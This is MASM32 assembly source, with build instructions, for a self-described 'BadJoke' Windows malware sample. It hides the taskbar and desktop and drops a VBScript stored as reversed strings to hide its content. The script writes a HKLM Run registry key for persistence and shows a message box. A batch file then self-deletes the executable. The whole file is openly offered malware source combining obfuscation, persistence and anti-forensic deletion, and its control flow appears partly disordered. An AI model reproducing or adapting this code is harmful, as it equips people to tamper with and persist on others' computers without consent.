; Name: Win32/BadJoke.Blaireau.A
; Code: Xylitol - xylitol☆temari.fr
; Size: 3Kb - 4b4726c7a9126b151d177f7c789f90bd
; Test: Windows XP SP3
; Date: 16/06/2014
; Desc: Hide the taskbar drop a VBS and auto-destruct
; This source is considered dangerous although this will not harm your computer.
; This was done for fun and entertainment purposes only.

;MAKE.BAT:
;@echo off
;set path=\masm32\bin
;set lib=\masm32\lib
;set name=Blaireau
;set rsrc=rsrc
;ml.exe /c /coff "%name%".asm
;link.exe /SUBSYSTEM:WINDOWS /opt:nowin98 /LIBPATH:"%lib%" "%name%".obj
;del *.OBJ
;pause
;@echo on
;cls

; #########################################################################

      .386
      .model flat, stdcall
      option casemap :none   ; case sensitive

; #########################################################################

      include \masm32\include\windows.inc
      include \masm32\include\user32.inc
      include \masm32\include\kernel32.inc
      include \masm32\include\shell32.inc
      include \masm32\macros\macros.asm
	  
      includelib \masm32\lib\shell32.lib
      includelib \masm32\lib\user32.lib
      includelib \masm32\lib\kernel32.lib

; #########################################################################

.data?
szlen 		dd		?
szReversed 	db 		512 dup(?)
tmpFilePath 	db 		512 dup(?)
payload 	db 		512 dup(?)

.data
shell		db "Shell_TrayWnd",0
explorer	db "Progman",0
Filename 	db "Blaireau.vbs",0
Filename2 	db "Blaireau.bat",0

payload1	db " tpircsw",022h,",",022h,"kcirreD\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\ENIHCAM_LACOL_YEKH",022h," etirWgeR.tideger",13,10
		db ")",022h,"llehS.tpircSW",022h,"(tcejbOetaerC = tideger teS",13,10
		db ")1(redloFlaicepSteG.osf = metsysrid teS",13,10
		db "txeN emuseR rorrE nO",13,10
		db ")",022h,"tcejbOmetsySeliF.gnitpircS",022h,"(tcejbOetaerC = osf teS",13,10
		db "metsysrid ,osf miD",0
			
payload2	db 022h,"ékiN T",022h," xobgsM",13,10
			db 022h,0
			
melt		db ":repeat",13,10
		db "if not exist ",022h,"blaireau.exe",022h," goto exit",13,10
		db "attrib -R -S -H ",022h,"blaireau.exe",022h,13,10
		db "erase ",022h,"blaireau.exe",13,10
		db "goto repeat",13,10
		db ":exit",13,10
		db "attrib -R -S -H ",022h,"Blaireau.bat",022h,13,10
		db "erase ",022h,"Blaireau.bat",022h,0

.code
start:
		invoke GetTempPath, 255,addr tmpFilePath
		invoke lstrcat,addr tmpFilePath,addr Filename
		
		invoke lstrlen, addr tmpFilePath
		mov ecx,eax
		mov esi, offset tmpFilePath
		call lstrrev
		
		invoke lstrcpy,addr payload,addr payload2
		invoke lstrcat,addr payload,addr szReversed
		invoke lstrcat,addr payload,addr payload1
		
DlgProc	proc
		hWin	:DWORD,
		uMsg	:DWORD,
		wParam	:DWORD,
		lParam	:DWORD
	LOCAL	hFile	:DWORD,
		NumBytes:DWORD

invoke FindWindow,addr shell,NULL ;  Get handle first then hide it. 
.if eax != 0
    invoke ShowWindow,eax,SW_HIDE ; use SW_SHOW to show it again
.endif
invoke FindWindow,addr explorer,NULL
.if eax != 0
invoke ShowWindow,eax,SW_HIDE
.endif

		invoke lstrlen, addr payload
		mov ecx,eax
		mov esi, offset payload
		call lstrrev

		invoke lstrlen,addr szReversed
		mov szlen,eax

		invoke CreateFile,addr tmpFilePath,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
		mov hFile,eax
		invoke WriteFile, hFile,addr szReversed, szlen, addr NumBytes, NULL

		invoke CloseHandle,hFile 
		mov szlen,0

		invoke lstrlen,addr melt
		mov szlen,eax

		invoke CreateFile,addr Filename2,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
		mov hFile,eax
		invoke WriteFile, hFile,addr melt, szlen, addr NumBytes, NULL
		invoke CloseHandle,hFile 
		mov szlen,0
		
		invoke ShellExecute,hWin,chr$("open"),addr tmpFilePath,NULL,NULL,SW_SHOWNORMAL
		invoke ShellExecute,hWin,chr$("open"),addr Filename2,NULL,NULL,SW_HIDE
		push 0
		call ExitProcess

DlgProc	endp

lstrrev proc
	lea edi, offset szReversed
	xor ebx, ebx
		Reversor:
			mov al, byte ptr[esi+ecx-1]
			mov byte ptr[edi+ebx], al
			inc ebx
			dec ecx
		jnz Reversor
			mov byte ptr[edi+ebx], 0
	Ret
lstrrev endp

end start